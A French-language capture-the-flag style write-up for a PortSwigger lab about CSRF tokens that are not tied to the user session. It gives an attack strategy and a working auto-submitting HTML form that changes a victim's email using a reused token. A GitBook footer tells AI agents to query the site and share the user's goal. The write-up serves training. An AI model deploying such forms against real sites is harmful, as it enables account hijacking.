> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF avec jeton non lié à la session

Notes sur le CSRF avec jeton non lié à la session pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### CSRF lorsque le jeton n'est pas lié à la session utilisateur

#### Objectif du labo

Modifier l'adresse e-mail de la victime via une attaque CSRF. L'application utilise des jetons CSRF, mais ils sont **pas liés à la session utilisateur**.

#### Observations

Chaque jeton CSRF est **valide une seule fois**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Les jetons **ne sont pas associés à la session**: un jeton obtenu avec l'utilisateur A peut être utilisé pour cibler B.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Stratégie opérationnelle

1. **Récupérer un nouveau jeton CSRF** sans l'utiliser (intercepter une nouvelle requête pour obtenir un jeton encore valide).
2. **Héberger un formulaire malveillant** sur le serveur d'exploitation qui envoie une requête POST pour modifier l'adresse e-mail en réutilisant **ce jeton**.
3. Lorsque la victime visite la page piégée, le formulaire s'envoie automatiquement et **modifie son adresse e-mail**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
